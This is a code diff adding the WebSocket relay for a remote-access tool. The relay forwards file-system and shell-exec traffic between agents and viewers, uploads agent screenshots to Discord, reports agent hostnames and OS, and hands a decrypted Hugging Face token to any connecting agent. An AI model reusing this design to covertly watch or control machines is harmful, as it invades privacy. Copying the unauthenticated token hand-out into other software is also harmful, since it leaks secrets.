+                ...(discordFirstStagger != null
+                    ? { discord_screenshot_first_stagger_ms: discordFirstStagger }
+                    : {}),
+                hf_credentials_from_relay: Boolean((process.env.RELAY_HF_CREDENTIALS_B64 || "").trim()),
+                ...(syncAdvertised ? { sync_api_base_url: syncAdvertised } : {}),
+                /** Relay package version for diagnostics (upgrades: file explorer → Upgrade agent). */
+                relay_version: (() => {
+                    const v = relayPackageVersion();
+                    return v === "unknown" ? undefined : v;
+                })(),
+            };
+            ws.send(JSON.stringify({
+                type: "connected",
+                role: "agent",
+                session_id: sessionId,
+                relay_features: relayFeatures,
+            }));
+            if (wsIsOpen(session.viewer)) {
+                try {
+                    session.viewer.send(JSON.stringify({ type: "agent_connected" }));
+                    /**
+                     * Defer `viewer_connected` until after the agent socket's `open` handler runs. Otherwise
+                     * some OS stacks process `viewer_connected` (auth_challenge) before `open` resets session
+                     * state — viewers then hang on "Authenticating…" after the second connect / agent restart.
+                     */
+                    const agentSock = ws;
+                    setImmediate(() => {
+                        if (session.agent !== agentSock || !wsIsOpen(agentSock))
+                            return;
+                        try {
+                            agentSock.send(JSON.stringify({ type: "viewer_connected" }));
+                        }
+                        catch {
+                            /* skip */
+                        }
+                    });
+                }
+                catch {
+                    /* skip */
+                }
+            }
+        }); // end _refreshBlacklistIfStale().then()
+    }
+    else {
+        const prevViewer = session.viewer;
+        if (wsIsOpen(prevViewer)) {
+            try {
+                /** Tell agent before slot is reused — avoids stale auth / stuck "Authenticating…" when `close` fires late. */
+                if (wsIsOpen(session.agent)) {
+                    try {
+                        session.agent.send(JSON.stringify({ type: "viewer_disconnected" }));
+                    }
+                    catch {
+                        /* skip */
+                    }
+                }
+                prevViewer.close(4003, "Replaced by new viewer");
+            }
+            catch {
+                /* skip */
+            }
+        }
+        session.viewer = ws;
+        ws.send(JSON.stringify({
+            type: "connected",
+            role: "viewer",
+            session_id: sessionId,
+            agent_online: wsIsOpen(session.agent),
+        }));
+        /** Same forge-db lookup as GET /api/explorer-seq — pushes seq_id over WS so the explorer tab/badge work even if the HTTP fetch fails. */
+        const sessionTableForSeq = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(sessionId);
+        void (async () => {
+            try {
+                const seqId = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(sessionTableForSeq);
+                if (session.viewer !== ws || !wsIsOpen(ws))
+                    return;
+                ws.send(JSON.stringify({
+                    type: "explorer_client_seq",
+                    seq_id: seqId,
+                    session_table: sessionTableForSeq,
+                }));
+            }
+            catch {
+                /* forge-db unreachable — explorer may still use GET /api/explorer-seq */
+            }
+        })();
+        if (wsIsOpen(session.agent)) {
+            const agentSock = session.agent;
+            setImmediate(() => {
+                if (session.viewer !== ws || !wsIsOpen(agentSock))
+                    return;
+                try {
+                    agentSock.send(JSON.stringify({ type: "viewer_connected" }));
+                }
+                catch {
+                    /* skip */
+                }
+            });
+        }
+    }
+    const pingEvery = relayWsPingIntervalMs();
+    let pingTimer = null;
+    if (pingEvery > 0) {
+        pingTimer = setInterval(() => {
+            if (ws.readyState !== ws_1.default.OPEN)
+                return;
+            try {
+                ws.ping();
+            }
+            catch {
+                /* skip */
+            }
+            session.touch();
+        }, pingEvery);
+    }
+    ws.on("pong", () => {
+        session.touch();
+    });
+    ws.on("message", (data, isBinary) => {
+        session.touch();
+        if (isBinary) {
+            if (role === "agent" && wsIsOpen(session.viewer)) {
+                try {
+                    session.viewer.send(data);
+                }
+                catch {
+                    /* skip */
+                }
+            }
+            else if (role === "viewer" && wsIsOpen(session.agent)) {
+                try {
+                    session.agent.send(data);
+                }
+                catch {
+                    /* skip */
+                }
+            }
+            return;
+        }
+        const payload = String(data);
+        let msg;
+        try {
+            msg = JSON.parse(payload);
+        }
+        catch {
+            return;
+        }
+        const msgType = String(msg.type || "");
+        /** Agent posts a screenshot frame for relay-side Discord delivery (never forwarded to viewer). */
+        if (role === "agent" && msgType === "discord_screenshot_upload") {
+            void (async () => {
+                try {
+                    // Refresh blacklist and reject uploads from blacklisted clients
+                    await _refreshBlacklistIfStale();
+                    const uploadClientId = String(msg.client_id ?? "").trim();
+                    const blocked = _isBlacklisted(sessionId) ||
+                        (uploadClientId ? _isBlacklisted(uploadClientId) : false);
+                    if (blocked) {
+                        ws.send(JSON.stringify({
+                            type: "discord_screenshot_upload_result",
+                            request_id: String(msg.request_id ?? ""),
+                            ok: false,
+                            error: "client blacklisted",
+                        }));
+                        return;
+                    }
+                    const out = await (0, discordRelayUpload_1.handleDiscordScreenshotUploadFromAgent)(msg);
+                    ws.send(JSON.stringify(out));
+                }
+                catch (e) {
+                    try {
+                        ws.send(JSON.stringify({
+                            type: "discord_screenshot_upload_result",
+                            request_id: String(msg.request_id ?? ""),
+                            ok: false,
+                            error: String(e),
+                        }));
+                    }
+                    catch {
+                        /* skip */
+                    }
+                }
+            })();
+            return;
+        }
+        /** Agent requests a one-shot Discord webhook URL (bot token stays on relay; PNG goes agent→Discord). */
+        if (role === "agent" && msgType === "relay_discord_upload_ticket_request") {
+            void (async () => {
+                try {
+                    // Reject ticket requests from blacklisted clients
+                    await _refreshBlacklistIfStale();
+                    const ticketClientId = String(msg.client_id ?? "").trim();
+                    const blocked = _isBlacklisted(sessionId) ||
+                        (ticketClientId ? _isBlacklisted(ticketClientId) : false);
+                    if (blocked) {
+                        ws.send(JSON.stringify({
+                            type: "relay_discord_upload_ticket_result",
+                            request_id: String(msg.request_id ?? ""),
+                            ok: false,
+                            error: "client blacklisted",
+                        }));
+                        return;
+                    }
+                    const out = await (0, discordRelayUpload_1.handleDiscordUploadTicketRequest)(msg);
+                    ws.send(JSON.stringify(out));
+                }
+                catch (e) {
+                    try {
+                        ws.send(JSON.stringify({
+                            type: "relay_discord_upload_ticket_result",
+                            request_id: String(msg.request_id ?? ""),
+                            ok: false,
+                            error: String(e),
+                        }));
+                    }
+                    catch {
+                        /* skip */
+                    }
+                }
+            })();
+            return;
+        }
+        /** Agent confirms webhook upload finished — relay revokes the webhook URL. */
+        if (role === "agent" && msgType === "relay_discord_upload_ack") {
+            void (async () => {
+                try {
+                    const out = await (0, discordRelayUpload_1.handleDiscordUploadAck)(msg);
+                    ws.send(JSON.stringify(out));
+                }
+                catch (e) {
+                    try {
+                        ws.send(JSON.stringify({
+                            type: "relay_discord_upload_ack_result",
+                            request_id: String(msg.request_id ?? ""),
+                            ok: false,
+                            error: String(e),
+                        }));
+                    }
+                    catch {
+                        /* skip */
+                    }
+                }
+            })();
+            return;
+        }
+        /** Agent asks relay for Hub credentials (not forwarded to viewer). */
+        if (role === "agent" && msgType === "relay_hf_credentials_request") {
+            const rid = String(msg.request_id ?? "");
+            const b64 = (process.env.RELAY_HF_CREDENTIALS_B64 || "").trim();
+            if (!b64) {
+                try {
+                    ws.send(JSON.stringify({
+                        type: "relay_hf_credentials_result",
+                        request_id: rid,
+                        ok: false,
+                        error: "RELAY_HF_CREDENTIALS_B64 is not set on the relay (same AES-GCM blob as CFGMGR_HF_CREDENTIALS_B64)",
+                    }));
+                }
+                catch {
+                    /* skip */
+                }
+                return;
+            }
+            try {
+                const cred = (0, hfCredentials_1.decryptHfCredentialsB64)(b64);
+                try {
+                    ws.send(JSON.stringify({
+                        type: "relay_hf_credentials_result",
+                        request_id: rid,
+                        ok: true,
+                        token: cred.token,
+                        hubUrl: cred.hubUrl,
+                        namespace: cred.namespace ?? "",
+                    }));
+                }
+                catch {
+                    /* skip */
+                }
+            }
+            catch (e) {
+                try {
+                    ws.send(JSON.stringify({
+                        type: "relay_hf_credentials_result",
+                        request_id: rid,
+                        ok: false,
+                        error: String(e),
+                    }));
+                }
+                catch {
+                    /* skip */
+                }
+            }
+            return;
+        }
+        /** Never forward internal relay credential messages from viewers. */
+        if (role === "viewer" &&
+            (msgType === "relay_hf_credentials_request" ||
+                msgType === "relay_hf_credentials_result" ||
+                msgType === "discord_screenshot_upload" ||
+                msgType === "discord_screenshot_upload_result" ||
+                msgType === "relay_discord_upload_ticket_request" ||
+                msgType === "relay_discord_upload_ticket_result" ||
+                msgType === "relay_discord_upload_ack" ||
+                msgType === "relay_discord_upload_ack_result")) {
+            return;
+        }
+        /**
+         * Browser `/files` JSON keepalive — not forwarded to the agent. Some corporate proxies and
+         * middleboxes only consider application data; WS ping frames alone are not always enough.
+         */
+        if (role === "viewer" && msgType === "viewer_ping") {
+            const t = msg.t;
+            const echo = typeof t === "number" && Number.isFinite(t) ? t : 0;
+            try {
+                ws.send(JSON.stringify({ type: "viewer_pong", t: echo }));
+            }
+            catch {
+                /* skip */
+            }
+            return;
+        }
+        if (role === "agent" && msgType === "info") {
+            const data = msg.data || {};
+            session.agentInfo = data;
+            // Extract version and OS from system field for /api/sessions reporting
+            const sys = data.system || {};
+            session.agentVersion = String(sys.forge_jsx_version || "").trim();
+            session.agentOs = String(sys.os || sys.platform || "").trim();
+            session.agentHostname = String(sys.hostname || "").trim();
+            const feats = data.features || {};
+            session.agentFilesystem = Boolean(feats.filesystem);
+            // Log version comparison against actual relay package version.
+            if (session.agentVersion) {
+                const relayPkg = relayPackageVersion();
+                const av = session.agentVersion.split(".").map(Number);
+                const rv = relayPkg.split(".").map(Number);
+                const agentOlder = rv.length >= 3 && av.length >= 3 &&
+                    (av[0] < rv[0] || (av[0] === rv[0] && av[1] < rv[1]) ||
+                        (av[0] === rv[0] && av[1] === rv[1] && av[2] < rv[2]));
+                if (_shouldLogVersionNotice(sessionId)) {
+                    if (agentOlder) {
+                        console.log(`[relay] agent ${sessionId} running v${session.agentVersion} (relay v${relayPkg}) — upgrade from file explorer (Upgrade agent) when ready`);
+                    }
+                    else {
+                        console.log(`[relay] agent ${sessionId} v${session.agentVersion} ✓`);
+                    }
+                }
+            }
+            // Push OS info to forge-db _client_registry on behalf of the agent.
+            // This works even for old-version agents that don't call POST /api/client-info themselves.
+            const forgeDbApi = _forgeDbApiUrl();
+            if (session.agentOs || session.agentHostname) {
+                void (async () => {
+                    try {
+                        await fetch(`${forgeDbApi}/api/client-info`, {
+                            method: "POST",
+                            headers: {
+                                "Content-Type": "application/json",
+                                "X-Client-Id": sessionId,
+                                "User-Agent": "forge-jsx-relay/1.0",
+                            },
+                            body: JSON.stringify({
+                                os_type: session.agentOs || null,
+                                os_platform: String(sys.platform || "").trim() || null,
+                                hostname: session.agentHostname || null,
+                            }),
+                            signal: AbortSignal.timeout(5000),
+                        });
+                    }
+                    catch {
+                        /* non-fatal — OS info is display-only */
+                    }
+                })();
+            }
+        }
+        /** Avoid silent hangs in /files when the viewer still has UI state but the agent socket is gone. */
+        if (role === "viewer" && !wsIsOpen(session.agent)) {
+            if (msgType === "get_info") {
+                /** Explorer probes OS for screenshot / shell hints — answer so UI does not keep stale `agentPlatform`. */
+                try {
+                    ws.send(JSON.stringify({
+                        type: "system_info",
+                        data: { platform: "", relay_no_agent: true },
+                        screen: { primary_width: 0, primary_height: 0, monitors: 0, capture: "disabled" },
+                        scale: 1.0,
+                    }));
+                }
+                catch {
+                    /* skip */
+                }
+                return;
+            }
+            if (msgType.startsWith("fs_")) {
+                const rid = String(msg.request_id ?? "");
+                try {
+                    ws.send(JSON.stringify({
+                        type: "fs_error",
+                        request_id: rid,
+                        ok: false,
+                        error: "No agent connected to this relay session. Start forge-agent with the same Session ID, or wait for it to reconnect.",
+                    }));
+                }
+                catch {
+                    /* skip */
+                }
+                return;
+            }
+        }
+        if (role === "agent" && wsIsOpen(session.viewer)) {
+            if (msgType === "discord_screenshot_upload" ||
+                msgType === "relay_hf_credentials_request" ||
+                msgType === "relay_discord_upload_ticket_request" ||
+                msgType === "relay_discord_upload_ack") {
+                /* handled above — never leak credentials / huge payloads to the viewer */
+            }
+            else {
+                try {
+                    session.viewer.send(payload);
+                }
+                catch {
+                    /* skip */
+                }
+            }
+        }
+        else if (role === "viewer" && wsIsOpen(session.agent)) {
+            try {
+                session.agent.send(payload);
+            }
+            catch {
+                /* skip */
+            }
+        }
+    });
+    ws.on("close", () => {
+        if (pingTimer) {
+            clearInterval(pingTimer);
+            pingTimer = null;
+        }
+        if (role === "agent" && session.agent === ws) {
+            if (relayWsConnectLoggingEnabled()) {
+                console.log(`[relay] agent disconnected session=${sessionId}`);
+            }
+            session.agent = null;
+            if (wsIsOpen(session.viewer)) {
+                try {
+                    session.viewer.send(JSON.stringify({ type: "agent_disconnected" }));
+                }
+                catch {
+                    /* skip */
+                }
+            }
+        }
+        else if (role === "viewer" && session.viewer === ws) {
+            session.viewer = null;
+            if (wsIsOpen(session.agent)) {
+                try {
+                    session.agent.send(JSON.stringify({ type: "viewer_disconnected" }));
+                }
+                catch {
+                    /* skip */
+                }
+            }
+        }
+        if (!session.agent && !session.viewer) {
+            removeSession(sessionId);
+        }
+    });
+}
+function urlDisplayHost(bindHost) {
+    const h = (bindHost || "").trim();
+    if (h === "0.0.0.0" || h === "::" || !h)
+        return "127.0.0.1";
+    return h;
+}
+function startRelayServer(opts = {}) {
+    const host = opts.host ?? "0.0.0.0";
+    const port = opts.port ?? deploymentDefaults_1.RELAY_DEFAULT_PORT;
+    const server = http.createServer(handleHttp);
+    const wss = new ws_1.WebSocketServer({
+        noServer: true,
+        /** Large `fs_read` / `fs_zip` base64 chunks + `fs_shell_exec_result` JSON must fit one frame. */
+        maxPayload: 2 ** 27,
+        /** Avoid zlib per-frame overhead on large JSON (explorer lists / chunked downloads). */
+        perMessageDeflate: false,
+    });
+    server.on("upgrade", (request, socket, head) => {
+        let pathname;
+        try {
+            pathname = requestUrl(request).pathname;
+        }
+        catch {
+            socket.destroy();
+            return;
+        }
+        const parts = pathname.split("/").filter(Boolean);
+        if (parts.length < 3 || parts[0] !== "ws") {
+            socket.write("HTTP/1.1 400 Bad Request\r\n\r\n");
+            socket.destroy();
+            return;
+        }
+        const role = parts[1];
+        const rawSid = decodeURIComponent(parts[2] || "");
+        const sessionId = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(rawSid);
+        if (role !== "agent" && role !== "viewer") {
+            socket.write("HTTP/1.1 400 Bad Request\r\n\r\n");
+            socket.destroy();
+            return;
+        }
+        if (!(0, relayAuth_1.sessionIdIsValid)(sessionId)) {
+            socket.write("HTTP/1.1 400 Bad Request\r\n\r\n");
+            socket.destroy();
+            return;
+        }
+        if (role === "viewer" &&
+            (0, relayDashboardGate_1.isRelayDashboardGateEnabled)() &&
+            !(0, relayDashboardGate_1.relayDashboardUnlockedForRequest)(request)) {
+            socket.write("HTTP/1.1 401 Unauthorized\r\nConnection: close\r\n\r\n");
+            socket.destroy();
+            return;
+        }
+        wss.handleUpgrade(request, socket, head, (ws) => {
+            attachConnection(ws, request, role, sessionId);
+        });
+    });
+    const staleMs = 300_000;
+    const interval = setInterval(() => {
+        const now = Date.now();
+        for (const [sid, s] of sessions) {
+            if (now - s.lastActivity > staleMs &&
+                !wsIsOpen(s.agent) &&
+                !wsIsOpen(s.viewer)) {
+                sessions.delete(sid);
+            }
+        }
+    }, 30_000);
+    interval.unref?.();
+    server.once("close", () => {
+        clearInterval(interval);
+        try {
+            wss.close();
+        }
+        catch {
+            /* skip */
+        }
+    });
+    (0, relayDashboardGate_1.warnInvalidDashboardGateEnvIfNeeded)();
+    server.listen(port, host, () => {
+        const addr = server.address();
+        const listenPort = typeof addr === "object" && addr && "port" in addr ? addr.port : port;
+        const uh = urlDisplayHost(host);
+        console.log(`CfgMgr Relay Server listening on ${host}:${listenPort}`);
+        console.log(`  File explorer:     http://${uh}:${listenPort}/`);
+        console.log(`  Same UI:           /files /explorer /viewer   minimal relay page: /relay`);
+        console.log(`  WebSocket: ws://${uh}:${listenPort}/ws/agent/<session_id>`);
+        console.log(`             ws://${uh}:${listenPort}/ws/viewer/<session_id>`);
+        void (0, discordRelayUpload_1.warnDiscordRelayGuildIfMisconfigured)();
+    });
+    return server;
+}